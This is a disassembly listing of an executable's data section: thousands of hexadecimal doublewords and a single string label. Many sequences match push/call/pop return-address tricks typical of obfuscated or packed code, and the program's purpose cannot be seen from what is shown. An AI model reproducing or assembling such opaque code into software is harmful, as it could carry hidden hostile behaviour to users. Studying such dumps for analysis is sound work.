		dd 422C9774h, 5613F33Dh, 3EE85E2Ah, 89000007h, 0D320E995h
		dd 65858907h, 8B07D30Eh, 0D31ED58Dh, 727E807h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 3D7863C3h, 436134E1h, 0EE9h,	43272E00h, 9DC93E99h, 8E2ECE2Dh
		dd 89E47611h, 0D302D985h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8B219D75h
		dd 6C7E8FEh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0AC7527C3h, 0F5F52F6Bh, 2DC98589h
		dd 6A07D3h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 567C7CC3h, 0BF0F726Dh, 0E8CDB1CBh, 675h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0F3C35343h
		dd 0F17773EFh, 8C0ABF64h, 0F08B4FF9h, 7AD8589h,	6A07D3h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 925FF4C3h, 0A913BC3Fh, 0E84A9D54h, 61Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 25C35141h, 2B235447h
		dd 6670E2AFh, 899A99B9h, 0D323C985h, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 81BF66CEh
		dd 3CB966CDh, 5C7E88Bh,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 87DD50C3h, 8F293FA5h
		dd 13E8426Ch, 0EB000000h, 0FD771F67h, 672F8D01h, 6D12AA13h
		dd 0A46D0876h, 5E9EC96h, 59000000h, 7F148C04h, 0CF8B6659h
		dd 2D298589h, 6A07D3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 3DB149C3h, 0E8035520h, 551h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 57C35242h, 0CDB58BF8h
		dd 0F07D32Fh, 486h, 9ABF6600h, 6185899Ah, 0F07D329h, 8D89FABFh
		dd 7D333B5h, 510E8h, 65850900h,	8907D302h, 0D3210985h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 5271075h, 14336D91h, 14E9h, 9E8CC00h, 52AF1B6Dh
		dd 0FB43A908h, 88280FBCh, 6358150Eh, 4C3E824h, 9E90000h
		dd 0C3000000h, 8A3F5D5h, 33935010h, 8BD8589h, 6A07D3h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 873788C3h, 5A769BFh,	8B44A311h, 0D30E418Dh, 0FE907h
		dd 114B0000h, 6E255EC9h, 0C767E313h, 0ADE4A1F4h, 46BE8A1h
		dd 8D0F0000h, 5, 0ECD68166h, 7985890Ch,	6A07D31Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0E431C357h, 8D89353Dh, 7D3198Dh, 8D0300B0h, 7D30D05h
		dd 6AD8B60Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0D2E3C357h, 39850182h,	8907D306h
		dd 0D319618Dh, 0E58D8B07h, 0BA07D32Eh, 6, 6AC38Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 7D4192C3h, 424F6EA9h, 669815CEh, 5947C681h, 5104E8C1h
		dd 8E9h, 0DCA9CB00h, 0B30ACF28h, 0F7665919h, 2BF08BE2h
		dd 53006AD8h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 93F5555Ah, 0A1BCB966h, 60525050h, 8E8h
		dd 0D3EF5300h, 5BA9F0D8h, 5B535E70h, 60310F61h,	810Fh
		dd 8F0F0000h, 0
aAzxuj		db 'aZXj',0
		dw 0E851h
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0BBC35141h, 0C3869FD9h
		dd 6AE5C09Fh, 585897Ch,	0FF07D308h, 0D3261D95h,	59D0107h
		dd 5B07D315h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 16h,	0E5C35343h, 0F1817D3Eh,	2ABFFB33h, 30D5958Dh, 6A07D3h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0B0C1DCC3h, 0D80A5291h, 0ACA0BF66h, 6A1A89h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0EFEF1FC3h, 0C820F3Fh, 0F000000h, 68Ch, 558D8900h, 0F07D313h
		dd 682h, 0ADBD2300h, 8907D327h,	6A0442h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8B57C0C3h
		dd 8B5360CFh, 0D3171185h, 85235B07h, 7D3007Dh, 0BD958D61h
		dd 8B07D317h, 0D32FBDBDh, 8B1A8907h, 0D31765B5h, 4428907h
		dd 0B9DBD8Bh, 666007D3h, 9589CE8Bh, 7D31525h, 0DD958D61h
		dd 6A07D32Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 1168C355h, 36EC5948h, 0BD8916A1h
		dd 7D31CD9h, 0B5311A89h, 7D32591h, 6A044289h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 6F5DC352h, 544538CCh, 958D0629h, 7D3121Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0A8C35040h, 0D04842F9h
		dd 267DB523h, 1A8907D3h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0FC35343h, 7402AAA3h,	0C6D78163h, 8B073BAEh
		dd 0D33015B5h, 65B58907h, 8907D333h, 6A0442h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0B005A4C3h
		dd 37003B95h, 0FFE5F6BEh, 9529F977h, 7D330DDh, 1485958Dh
		dd 6A07D3h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 145A1C3h,	0D31D0D85h, 5E907h, 16720000h
		dd 892D65ECh, 58D7811Ah, 892B269Ah, 9D090442h, 7D32601h
		dd 3045958Dh, 820F07D3h, 6, 1A018589h, 1A8907D3h, 80044289h
		dd 958DB9D5h, 7D30BADh,	89E6E980h, 51006A1Ah, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0FDBE24BEh
		dd 5FF2C2h, 0B58B336Bh,	7D320B5h, 60044289h, 0E6E38166h
		dd 0BE952A0h, 4B000000h, 54117C2Dh, 97C7E005h, 61580F69h
		dd 3AD958Dh, 8F0F07D3h,	0Ch, 6850Fh, 850F0000h,	0
		dd offset byte_6A1A89
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 8CD0C3h, 49E0A71Eh, 8B60E34Eh, 0D30A119Dh, 0D68B6607h
		dd 4428961h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	7C35040h, 68F0F77h, 8B000000h, 0D319698Dh, 0F6BE6607h
		dd 0DFE9D7h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0CE64F6C3h, 6C9D6E07h, 8BB0D668h
		dd 89006AC8h, 0D3027585h, 6A006A07h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0B2CCC350h
		dd 0B531DB51h, 7D3038Dh, 8D89006Ah, 7D31F21h, 15870Fh
		dd 10E90000h, 7E000000h, 0CE23313h, 9DDD7668h, 0CF886F59h
		dd 6ABF9E6Ah, 0DE800h, 0A1650000h, 0D94C90EBh, 745243CAh
		dd 0E98543B3h, 6, 0AEE76D5Dh, 0FF59B854h, 0D3269195h, 48C0F07h
		dd 50000000h, 0F5E5953h, 681h, 158D8B00h, 0C307D31Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 10C35141h, 8D8B1A68h
		dd 7D329E1h, 0B8D18166h, 6AC58A41h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0A5ACC351h
		dd 0B589E6F6h, 7D302E1h, 8BF88B66h, 0BD8B53C0h,	7D31949h
		dd 0B1BD835Fh, 7D313h, 0BD830975h, 7D3273Dh, 50197400h
		dd 0B8C08B53h, 438h, 9C98589h, 9D8D07D3h, 7DB2870h, 585BD3FFh
		dd 273DBD83h, 740007D3h, 0B8535017h, 438h, 9C98589h, 9D8D07D3h
		dd 7DB2511h, 585BD3FFh,	0FE960h, 0BC150000h, 0AA6D5E01h
		dd 0FCB0B6ACh, 0A86DC4F5h, 75858BC8h, 6107D325h, 310D8D8Bh
		dd 958907D3h, 7D3328Dh,	858DC08Bh, 7D31C71h, 88E0Fh, 89600000h
		dd 0D330AD8Dh, 89506107h, 6A2404h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 736E45C3h, 3B5FD3C4h
		dd 0B531E982h, 7D332CDh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0DA2B70C3h, 6A4E77h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 96C35545h
		dd 662578BBh, 8D6AE8BBh, 0DCCDD285h, 51958907h,	8307D318h
		dd 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0DFBAEFC3h, 0F222B716h, 509002FFh, 44BF6652h
		dd 50310F1Eh, 78F4BB52h, 310F453Eh, 840Fh, 585A0000h, 0B750585Ah
		dd 0F2BF9082h, 6A0B41D6h, 47AFBF00h, 6A6DD9h, 2BA5BD8Bh
		dd 95FF07D3h, 7D32F4Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0C4C35343h, 236A52B1h, 18D8961h, 8D07D30Ch
		dd 0DC29B08Dh, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0EEB8ED3Dh, 0F83851Eh
		dd 6A5CBF69h, 0D1FF78C3h, 3020DF81h, 0BD8313DFh, 7D33255h
		dd 0AC850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0CF14C356h,	0FA2D446h
		dd 68Dh, 30EF8100h, 8030838Eh, 26A4FDBh, 12118D89h, 0B35007D3h
		dd 24048986h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 18h,	0D0C35747h, 4AF0E38Eh, 1AC9BD29h, 95FF07D3h, 7D31599h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 64C35040h
		dd 0DE823h, 41650000h, 624D5ACEh, 69237207h, 0E8385CA3h
		dd 7, 30BE011Ch, 8BDF9942h, 0D32635BDh,	0E95B5F07h, 0C8Ah
		dd 0E8h, 0ED815D00h, 7DCCDDCh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0A3C35343h,	0D9B45870h, 9D015762h
		dd 7D325E5h, 6850F5Bh, 89000000h, 0D3070D8Dh, 0D1BF6607h
		dd 5C858D0Dh, 8107DC19h, 95B54EF7h, 5250F568h, 895BB7B3h
		dd 0BF0F2404h, 35FF64F9h, 0
		dd 64FFBF0Fh, 2589h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8166F8C3h, 6689DFEFh
		dd 85FFF98Bh, 7D32CCDh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0AAC35646h, 0C2E5CF9h, 0CBC00574h, 0EB81FF6Ah
		dd 1A52635h, 2DA5B5FFh,	0DCB307D3h, 1995FFFCh, 0E907D318h
		dd 192h, 34CDBD8Bh, 0B007D3h, 0A1D9D8Bh, 70E607D3h, 0B9F38166h
		dd 0A4F781E3h, 0E42428E2h, 7CBB6671h, 0F613CDCh, 16983h
		dd 6850F00h, 29000000h,	0D3301D85h, 0C8B60F07h,	95953360h
		dd 0E807D308h, 0Fh, 0EFE802D6h,	4AB4735Eh, 0E79EA282h
		dd 29399209h, 0D32931BDh, 0BA615A07h, 6, 0CE9h,	423EF000h
		dd 25C354A7h, 0EB129031h, 0C1C18BEBh, 0BE804E8h, 0F6000000h
		dd 7C02E281h, 0CA881FCh, 0BD8B73AEh, 7D31C9Dh, 0E2F7665Fh
		dd 10E860h, 25830000h, 8338AAF1h, 7D779FD0h, 93CA09CFh
		dd 0CF8ABEEDh, 59D8959h, 6107D302h, 8BF9C82Bh, 9D0160D1h
		dd 7D31525h, 6C06C781h,	0E961531Dh, 16h, 10E8h,	0C5E24200h
		dd 0F3B3A438h, 0C0B86F49h, 0BEE31C44h, 858B5FA2h, 7D330D5h
		dd 0DE9h, 0A2FE4A00h, 8AAFA342h, 826296A2h, 0C0835ECAh
		dd 599D3107h, 8307D32Bh, 7E800C0h, 0AC000000h, 5287B46Eh
		dd 0BE98D90h, 6C000000h, 19CA6F6Bh, 88B479E5h, 3B5FE01Ah
		dd 29830FD0h, 0B000000h, 0D319A9BDh, 60E907h, 13E90000h
		dd 48000000h, 8DA67D2Ch, 0FFB9F68Eh, 0F1FBA6C3h, 3D0AF920h
		dd 853173CBh, 7D31C79h,	0B658D8Bh, 816007D3h, 0F4797BD8h
		dd 8B66513Eh, 836158FAh, 840F01E1h, 26h, 2BA59D8Bh, 958907D3h
		dd 7D31D81h, 0B65A583h,	8BFE07D3h, 0D59589DEh, 2907D330h
		dd 0D30B619Dh, 0E907h, 0B58D0000h, 7DC652Ah, 22DF8166h
		dd 80006A5Ah, 95FFFEF3h, 7D33019h, 0BFFABF0Fh, 68362DF7h
		dd 72FB9h, 13E800h, 0DAE0000h, 0FD374E55h, 22AC3641h, 0B1337849h
		dd 2C6962E7h, 835BF8ACh, 86BBFCE1h, 0FC52A34Eh,	0B8DA8Bh
		dd 8B000000h, 0BAFAh, 0BD8B0000h, 7D31B91h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 68C35040h, 0BE9B1h, 326D0000h, 0BDE184BAh
		dd 53DABFA2h, 0F5DFBFC4h, 8E0F67C0h, 8,	5DB58952h, 5B07D308h
		dd 880Dh, 68D0F00h, 0B000000h, 0D325E59Dh, 41958B07h, 6A07D329h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 10DDC357h, 4665B79Fh, 81665F42h, 66B77CC3h
		dd 1341EB81h, 2BA18D8Bh, 6A07D3h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 8B742DC3h, 0D318CDBDh
		dd 9BD8B07h, 5007D31Ch,	188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 6BF6658h,	20D7813Ah, 83349DBEh, 0D30891BDh
		dd 840F0007h, 5Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0B2C35343h, 57A862F4h, 58A47F9Bh, 0DFBF66B8h
		dd 418D89D1h, 0B807D32Dh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0B0C35343h
		dd 0BF0FDE9Ch, 0B18D8DFBh, 8B07D34Dh, 83E1FFDEh, 0D33311BDh
		dd 840F0007h, 430h, 5E9h, 0D13CDE00h, 9D8B81EFh, 7D301C9h
		dd 3311BD83h, 0F0107D3h, 42E84h, 15B52900h, 6607D330h
		dd 0F1C8E781h, 3311BD83h, 0F0307D3h, 3E086h, 60A1B700h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 13C35545h
		dd 62128AEh, 8F5A803Fh,	35952917h, 0B707D314h, 0D98C661Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0D8C35040h
		dd 59B6B75Ah, 0FF170D2h, 0BE817h, 50BA0000h, 85232E9Dh
		dd 0B1A486F6h, 0E1805FB2h, 50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 997FA6BFh
		dd 8B6ED572h, 0D30F319Dh, 0FC90A07h, 16084h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 2AC01EC3h, 0CFE97552h, 0D78143C5h, 45B95824h, 14C1858Bh
		dd 0B58907D3h, 7D32CC9h, 28C0Fh, 0F98A0000h, 1FF18533h
		dd 6A07D3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 845E46C3h, 0DA8B90C5h, 12E850h, 0A3EA0000h
		dd 4FA05597h, 713E9164h, 0F757E4A3h, 0CC4F1812h, 6A905Fh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0EC192C3h, 0F56540Ch, 68Dh, 0F5858900h, 6A07D31Ch, 0DA8B6600h
		dd 4E89EA68h, 1B8D0F02h, 0E8000000h, 13h, 11B30263h, 0EFB47661h
		dd 37EBBE6Ah, 386FC910h, 52AA450Eh, 34815B5Fh, 518A1524h
		dd 52006A02h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0B589EB78h, 7D331A1h, 198195FFh,	6A07D3h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 9F726BC3h, 4B727FF9h, 75BD8989h, 8907D31Ah, 0DC4EC285h
		dd 46E38007h, 189E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0BFD0E3AEh, 0BA858B38h
		dd 0B707DC4Eh, 28C0F1Dh, 8B000000h, 1800C7F9h, 0E9000000h
		dd 5, 0C69F1974h, 0BEB58BEBh, 6A07DC4Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 5A56C356h
		dd 16F59D89h, 858B07D3h, 7D316FDh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 31C35343h, 664492E2h, 6195899Fh
		dd 8907D306h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 390CE9A0h, 0E7818494h, 1C379F88h
		dd 8BD9B70Fh, 0D314C185h, 4468907h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 1FC35343h, 8096711Bh, 609650DFh
		dd 8C0FD08Bh, 3, 61DF8B66h, 5890F50h, 0BB000000h, 209E7086h
		dd 0FFBF0F96h, 4EBAB5FFh, 6A07DCh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 3F3407C3h, 0ED1B589h
		dd 796807D3h, 507D5093h, 0FDA8B52h, 0F525031h, 8Fh, 8B310F00h
		dd 5A585AD9h, 24348158h, 7D4F9086h, 0B7A7BBh, 0C2858D2Bh
		dd 0B07DC4Eh, 0D32D019Dh, 85BB5007h, 8956D3A1h,	0AE92404h
		dd 91000000h, 0F8E9E4EDh, 3F97FD85h, 8195FF2Bh,	0F07D319h
		dd 6A61FBB7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0C2C356h, 0E0E601B4h, 9D33559Eh
		dd 7D30EF9h, 331185C7h,	307D3h,	0BF660000h, 0BD83B5A9h
		dd 7DC4EC2h, 36840F00h,	81000000h, 0A1CE11F7h, 46E975h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 838F86C3h, 0E79257D9h, 8D8B604Dh,	7D30D2Dh
		dd 0C305061h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0F0FCF81h, 6A10DCh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0BD8B6FC3h, 7D30E6Dh
		dd 5FD9D8Bh, 0BD8307D3h, 7D33311h, 99850F03h, 6A000003h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 6E72C351h, 3860F62h, 80000000h, 0BD839BDFh
		dd 7DC4EC2h, 65840F00h,	6A000003h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0C59EC351h
		dd 891602ECh, 0D312259Dh, 0CB816607h, 0B5FF62DAh, 7DC4EC2h
		dd 4F17BB66h, 25F995FFh, 0FB8B07D3h, 4EB6B58Bh,	6A07DCh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0AB9F54C3h, 5FB91699h, 0C70851C1h, 1000106h,	699D8B00h
		dd 5007D30Bh, 8B666056h, 895F61D3h, 85312434h, 7D30221h
		dd 4EC2B5FFh, 6A07DCh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 7775E8C3h, 0F3C49353h, 0F521388h
		dd 686h, 0C9BD0300h, 5F07D31Fh,	95FFDC8Ah, 7D31591h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0BEC35343h, 96847119h
		dd 9D8B8E8Ch, 7D32F01h,	4EB6B58Bh, 9D2907DCh, 7D32F71h
		dd 311858Bh, 6A07D3h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 3335BCC3h, 0D325099Dh, 0C4868907h
		dd 8B000000h, 0D3077DBDh, 41958B07h, 6A07D329h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 4227C356h, 9B76FEB6h, 57567A4Ch, 0C2835F5Fh,	0CE804h
		dd 4F7D0000h, 9AC0AE5Bh, 0D4EBC5E7h, 0B589ABF1h, 7D30E2Dh
		dd 2050895Bh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 17h,	97C35141h, 5124612Fh, 0B9D9529h, 8D5B07D3h, 0DC618185h
		dd 0B8868907h, 60000000h, 6A61C68Bh, 0B1F78000h, 4EC2B5FFh
		dd 11E807DCh, 9000000h,	0C74DB1F9h, 4C8F093Ah, 0FEDDF10Eh
		dd 0A27EA853h, 1F2DBD8Bh, 0FF5B07D3h, 0D3159995h, 0C5BD8907h
		dd 9607D32Fh, 0FE8h, 0F45A2F00h, 0B189C24Ah, 61F9D97Dh
		dd 0DFA8BACEh, 0BF665250h, 310F10CCh, 5E3C54BFh, 5F585A31h
		dd 6A9650h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 3DCF51C3h, 0BA8854BEh, 14319D31h,	0B5FF07D3h
		dd 7DC4EC2h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0EEC35040h, 0BF0F0990h,	2595FFD8h, 8B07D330h, 0D31C91BDh
		dd 2846BB07h, 0BD837C0Dh, 7D316E9h, 25840F00h, 89000000h
		dd 0D3301D8Dh, 0B9BD8B07h, 9607D31Ch, 0AE950h, 90130000h
		dd 54F862E4h, 0A6AB5692h, 6696505Fh, 0D4D6D781h, 4EC2B5FFh
		dd 8D2907DCh, 7D323DDh,	121595FFh, 6A07D3h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 889760C3h
		dd 0E537A687h, 0B5FF90F7h, 7DC4EC2h, 95FF24B7h,	7D3324Dh
		dd 15870Fh, 10E90000h, 2C000000h, 4CED8976h
		dd 0EFA9FC64h, 52338349h, 8396D0C4h, 0D31341BDh, 840F0207h
		dd 4Dh,	8BDF8B66h, 0D3347D85h, 55006A07h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 51DC005Ah
		dd 4F1B4D5Dh, 6A0000C6h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0E49BC357h,	5185C7CFh
		dd 7D306h, 0BB000000h, 77092375h, 0FFF463E9h, 0DCBF66FFh
		dd 6AC18BCEh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0C8FDC351h, 84CF8164h,	5650A085h
		dd 1BC38166h, 858D5F55h, 7D31C71h, 6BD38050h, 80BB505Fh
		dd 893093F4h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0B09BFAC3h, 29BCD1EBh, 0D30F3D95h
		dd 66006A07h, 6AB12DBBh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 858D8939h, 7DCDC7Ch, 83D8B70Fh
		dd 0AE805C0h, 3E000000h, 5F67AB1Dh, 0C83F7E6Fh,	399D3356h
		dd 5B07D301h, 0CE950h, 96650000h, 0C8526FC3h, 2F45D513h
		dd 489FFEFh, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0D227C7B0h, 32319589h, 6A07D3h, 8E9h
		dd 769F4900h, 111D3C4Ah, 6A006A2Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0AA9DC350h
		dd 0DEEB37FCh, 0E8B6B8E5h, 0Dh,	0AB94660Bh, 78596C3Ch
		dd 908F9DA3h, 63BB6620h, 95FF5FB5h, 7D32F4Dh, 0CFE38166h
		dd 0B08D8DD5h, 6A07DC29h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 379BC350h, 394D3B40h
		dd 732C8EBh, 0EE9h, 0E072E00h, 0B4B7E8BAh, 0D0003E3Eh
		dd 0FFE1B352h, 55BD83D1h, 107D332h, 0BB850Fh, 9D8B0000h
		dd 7D325B1h, 6A026Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0E2CA1EC3h, 9289EFDh, 0D31F1DB5h
		dd 0DF8B6607h, 10E8h, 4FC81E00h, 97AD6AFCh, 2DB35EAFh
		dd 0E1931E14h, 0EE932h,	0C46C0000h, 0E737E83Ah,	0E34B3C98h
		dd 0FA67209Fh, 0BB66905Bh, 0B7506BA5h, 6A90EDh,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 861D3BC3h, 0E5B52960h, 6107D31Bh, 0A15BD8Bh,	95FF07D3h
		dd 7D31599h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0E7C35343h, 6BBAE3F8h, 6F31ACDh, 0DC2E9A9h, 0E80000h
		dd 5D000000h, 0DC86ED81h, 6A07DCh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 816AC8C3h, 6B89CC0Eh
		dd 525D6B2Ah, 1118D89h,	8B5B07D3h, 5C858DF8h, 6A07DC19h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0C8D5C352h, 488483CCh, 89B0DB52h,	0D32CD9B5h
		dd 0BF669007h, 6650F7BFh, 9070D2BFh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0E7C35040h,	0F86C660h, 287h
		dd 64DE8A00h, 35FFh, 85890000h,	7D31A51h, 61606057h, 61EEF280h
		dd 2589645Bh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 82C35646h
		dd 0E430309Ch, 43A85E02h, 85FFFB8Bh, 7D32CCDh, 6AFF6AF9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 90B9C357h, 7DB58960h, 6007D312h, 14E8h, 64521300h
		dd 4A70C56Ah, 0F1C97A96h, 121BD86h, 6FAF6EC9h, 0B9665F0Eh
		dd 61619D22h, 1A1DB5FFh, 6A07D3h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 4910B7C3h, 0EE55C9Eh
		dd 2065BD89h, 95FF07D3h, 7D31819h, 110E9h, 559D0B00h, 0B007D313h
		dd 89BD2900h, 0E607D31Dh, 0C99D8B70h, 0E407D315h, 0EB81F571h
		dd 3A9F8ACAh, 830F613Ch, 0E9h, 1EE98D89h, 0BD8B07D3h, 7D3174Dh
		dd 0E9C8B60Fh, 0Ah, 35E90BA1h, 1D61C655h, 6BA9724h, 8B000000h
		dd 0D3250DBDh, 66C18B07h, 0E8C1DA8Bh, 0A9852904h, 0BF07D315h
		dd 29F03ED2h, 0E9E2F766h, 5, 1FEFCFB3h,	89C82B0Fh, 0D3347585h
		dd 66D18B07h, 0C6C0F781h, 0AE9h, 0EB816600h, 81669484h
		dd 8B1F4ED3h, 0D317BD85h, 0F5BD2907h, 8107D314h, 46F203E3h
		dd 7C0836Ah, 8304DF80h,	816600C0h, 3B94DCDFh, 22830FD0h
		dd 0E9000000h, 55h, 5367CF80h, 13E9h, 0ABA4B000h, 98D741ACh
		dd 0AACCA14Ch, 0BF8502F5h, 6642F787h, 558D8B5Fh, 5007D32Ah
		dd 0BA99D8Bh, 835F07D3h, 840F01E1h, 21h, 73DF8166h, 55A5832Eh
